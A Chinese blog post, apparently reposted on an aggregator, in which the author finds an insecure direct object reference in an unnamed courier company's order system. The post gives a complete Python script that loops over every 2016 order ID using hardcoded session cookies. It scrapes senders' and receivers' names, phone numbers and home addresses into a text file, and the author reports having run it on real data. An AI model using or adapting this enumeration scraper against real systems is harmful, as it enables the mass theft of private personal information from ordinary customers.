Quantcast
Channel: CodeSection,代码区,Python开发技术文章_教程 - CodeSec
Viewing all articles
Browse latest Browse all 9596

Python系列之――某公司代发快递业务的逻辑漏洞利用

$
0
0

Python系列之――某公司代发快递业务的逻辑漏洞利用

作者:奶权

事情是这样的今天突然收到了一条短信
Python系列之――某公司代发快递业务的逻辑漏洞利用
哇塞好高级屁颠跑去拿完快递后就赶紧打开了他们的官网
Python系列之――某公司代发快递业务的逻辑漏洞利用
Python系列之――某公司代发快递业务的逻辑漏洞利用
行吧能注册就先注册一个
Python系列之――某公司代发快递业务的逻辑漏洞利用
接着翻一翻都有什么业务 最先注意到的就是首页旁边的寄件下单 进去之后随便填写了下信息生成了个订单
Python系列之――某公司代发快递业务的逻辑漏洞利用
可以看到地址栏有我们的订单号 尝试一下能不能越权
Python系列之――某公司代发快递业务的逻辑漏洞利用
居然真的可以

其实就算不能越权 这种订单的设计方式还是有缺陷的


Python系列之――某公司代发快递业务的逻辑漏洞利用
到console里面看看是用什么方式填充这些数据的 通过Network模块可以发现
Python系列之――某公司代发快递业务的逻辑漏洞利用
有仨Ajax请求其中一个请求带上了订单号 打开来看看
Python系列之――某公司代发快递业务的逻辑漏洞利用
是一个json格式的数据 再看看console模块
Python系列之――某公司代发快递业务的逻辑漏洞利用
请求用上了这些Cookie经过测试发现只要存在JSESSIONID和FC_AUTHENTICATED_TOKEN字段就可以了

接下来就可以写脚本啦

首先导入用于发送请求的resquests库和用于解析json的json库

import requests
import json
#解决乱码问题
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

用三层循环生成2016年所有的订单 然后让程序去遍历、解析并输出到txt

def Output2File(expressArr):
try:
f = open('data.txt','a')
for info in expressArr:
f.write(info.encode('utf-8') + u' ')
f.write("\n")
finally:
f.close()
cookies_ = {
'JSESSIONID':'50250A9718D3541B57491DC468D78818',
'FC_AUTHENTICATED_TOKEN':'WEBSITE:$2A$05$5UYS/X1WW1X0QGQEMCSNHUOZ00XNO3OVYBCTC2W/GG8.GBMOC2YGE'
}
for i in range(12):
for j in range(30):
for k in range(1000):
orderId = '2016'+str(i+1).zfill(2)+str(j+1).zfill(2)+str(k+1).zfill(8)
url = 'http://www.xxxx.com/xxxx/xxxxxxx?orderId=%s'%orderId
r = requests.get(url,cookies=cookies_)
expressData = json.loads(r.text.encode('utf-8'))
#判断当天是否没有订单或是否是当天最后一个订单
if expressData['data']['orderId'] is None:
break
sName,sPhone,sAddr = expressData['data']['senderName'],expressData['data']['senderMobile'],expressData['data']['senderProvinceName']+expressData['data']['senderCityName']+expressData['data']['senderCountryName']+expressData['data']['senderAddressDetail']
rName,rPhone,rAddr = expressData['data']['receiverName'],expressData['data']['receiverMobile'],expressData['data']['receiverProvinceName']+expressData['data']['receiverCityName']+expressData['data']['receiverCountryName']+expressData['data']['receiverAddressDetail']
print sName.encode('utf-8'),sPhone.encode('utf-8'),sAddr.encode('utf-8'),rName.encode('utf-8'),rPhone.encode('utf-8'),rAddr.encode('utf-8')
tempList = [sName.encode('utf-8'),sPhone.encode('utf-8'),sAddr.encode('utf-8'),rName.encode('utf-8'),rPhone.encode('utf-8'),rAddr.encode('utf-8')]
Output2File(tempList)

运行结果


Python系列之――某公司代发快递业务的逻辑漏洞利用

数据不是特别多 8月份才开始有的订单 要是再过多几个月就不一定了

噢对了 原本我是写了很长的一篇文章 写了很多细节的东西 准备发布的时候百度云加速跑了出来 输完验证码后我的文章就没了

这故事告诉我们写文章最好先在word上写好(不要用百度云加速)

转载请注明作者奶权及原文链接


Viewing all articles
Browse latest Browse all 9596

Trending Articles